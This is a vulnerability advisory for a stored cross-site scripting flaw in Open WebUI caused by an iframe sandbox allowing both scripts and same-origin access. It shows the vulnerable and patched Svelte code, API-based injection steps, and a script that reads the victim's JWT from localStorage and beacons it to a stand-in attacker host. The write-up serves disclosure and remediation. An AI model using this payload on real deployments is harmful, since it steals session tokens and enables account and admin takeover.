CVE-2026-26192: Stored Cross-Site Scripting via Insecure Iframe Sandbox in Open WebUI

Open WebUI is a self-hosted, offline-capable interface designed to facilitate interactions with artificial intelligence models. To enhance response clarity, the platform supports document ingestion and displays corresponding citations. When users request details on retrieved document segments, the interface previews these segments via Svelte frontend components.

To display HTML documents correctly, the application switches its rendering block from a standard plaintext container to an HTML iframe if the document's metadata marks it as containing HTML. This choice of component was intended to isolate untrusted content, but the isolation parameters applied to the iframe were misconfigured.

The vulnerability is classified under CWE-79 as Stored Cross-Site Scripting (XSS). The vulnerability triggers when a victim views a manipulated chat sequence, such as a session published via the platform's 'Shared Chats' feature. Because Open WebUI stores JWT session tokens directly in client-side storage, exploitation of this vulnerability leads to session hijacking and administrative compromise.

The root cause of CVE-2026-26192 resides in an insecure sandboxing configuration in the Svelte frontend component CitationModal.svelte. When displaying HTML documents, the modal applied the sandbox attribute using three directives: allow-scripts, allow-forms, and allow-same-origin. This combination is a well-known web security anti-pattern.

The sandbox attribute restricts what actions an embedded frame can take. The allow-scripts directive permits JavaScript execution inside the iframe. The allow-same-origin directive instructs the browser to treat the iframe content as sharing the same origin (protocol, host, and port) as the hosting parent application.

When allow-scripts and allow-same-origin are combined on an iframe served from the same host, the browser-enforced origin boundary is neutralized. Because the iframe runs on the same origin, its executing JavaScript possesses read and write permissions to the parent window's DOM. An attacker can use properties like window.parent to traverse the DOM tree, access the parent's localStorage, extract active session cookies, or trigger state-changing HTTP requests on behalf of the user.

To understand the vulnerable control flow, we inspect src/lib/components/chat/Messages/Citations/CitationModal.svelte prior to version 0.7.0. The rendering block evaluated the document.metadata?.html condition to choose the display mechanism.

<!-- Vulnerable Code Implementation -->
{#if document.metadata?.html}
	<iframe
		class="w-full border-0 h-auto rounded-none"
		sandbox="allow-scripts allow-forms allow-same-origin"
		srcdoc={document.document}
		title={$i18n.t('Content')}
	></iframe>
{:else}
	<pre class="text-sm dark:text-gray-400 whitespace-pre-line">{document.document
			.trim()
			.replace(/\n\n+/g, '\n\n')}</pre>
{/if}

The patch implemented in version 0.7.0 (commit 6adde203cd292a9e3af9c64a2ae36b603fed096a) removes the static declaration of the allow-same-origin directive. It introduces a configurable toggle controlled by application settings, defaulting to false.

<!-- Patched Code Implementation -->
<iframe
	class="w-full border-0 h-auto rounded-none"
	sandbox="allow-scripts allow-forms{($settings?.iframeSandboxAllowSameOrigin ?? false) ? ' allow-same-origin' : ''}"
	srcdoc={document.document}
	title={$i18n.t('Content')}
></iframe>

By default, the resulting sandbox value resolves to allow-scripts allow-forms. Because allow-same-origin is omitted, the browser isolates the iframe into a unique, null origin. Any attempt by JavaScript inside the iframe to interact with window.parent or access shared state throws a browser-enforced security exception, preventing execution against the parent context.

The exploitation process requires two key phases: injecting the malicious payload into the application state, and enticing an authenticated user to view the affected citation. An authenticated low-privilege attacker can manually modify their own chat history. By sending a crafted payload to the chat update endpoints (e.g., /api/v1/chats/), the attacker manipulates the JSON payload to include document citations with custom metadata.

The injected citation structure contains the metadata object with "html": true, and sets the document field to contain the weaponized script. The script is structured to search the parent context for the Web UI authentication JWT.

<script>
    // Access parent context localStorage to extract authentication token
    try {
        const token = window.parent.localStorage.getItem('token');
        if (token) {
            // Exfiltrate the token to an external destination
            navigator.sendBeacon('https://attacker-controlled.com/exfil?t=' + encodeURIComponent(token));
        }
    } catch (e) {
        // Suppress errors to avoid raising suspicion
    }
</script>

Once the payload is stored, the attacker uses Open WebUI's 'Shared Chats' feature to generate a public link. When another user or an administrator opens the shared link and triggers the citation preview, the application renders the Svelte component. The browser loads the document field into the iframe's srcdoc attribute, immediately executing the JavaScript payload within the victim's session.

The impact of CVE-2026-26192 is high due to the nature of the application's authentication model. Open WebUI stores critical session data, including JWT tokens, in the client's localStorage space. Because the vulnerable iframe is treated as sharing the same origin, the executing code can access this space directly.

With a retrieved authentication token, an attacker can gain full access to the victim's account. If the victim has administrative privileges, the attacker can use the Web UI APIs to perform administrative tasks, such as creating new admin accounts, reading private documents, altering system prompts, or modifying models.

The CVSS score of 7.3 reflects the requirement of user interaction (the victim clicking or opening the citation modal). However, because sharing chats is a primary functional flow in collaborative AI platforms, the barrier to user interaction is exceptionally low. The scope remains unchanged (U) because the execution stays within the boundary of the same web origin, but the potential confidentiality and integrity compromise is complete (H/H).

The primary remediation path is upgrading Open WebUI to version 0.7.0 or later. This upgrade ensures that the unsafe allow-same-origin directive is removed from the default iframe sandboxing policy. If immediate upgrading is not feasible, administrators should advise users to avoid opening citation modals in shared chats from unverified or untrusted users.

For depth-of-defense hardening, organizations should implement Content Security Policy (CSP) headers at the web server layer (such as Nginx or Traefik reverse proxies). A strong CSP can limit the impact of XSS by restricting where scripts can be loaded from and where data can be exfiltrated.

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; connect-src 'self' https://safe-api.domain;

In subsequent code iterations, the development team has also integrated dynamic CSP injection via the injectCsp helper directly into the srcdoc context of the iframe. This technique limits execution profiles inside the sandboxed document even if the sandbox properties are altered. Administrators should verify that the iframeSandboxAllowSameOrigin parameter is set to false in their global settings panel.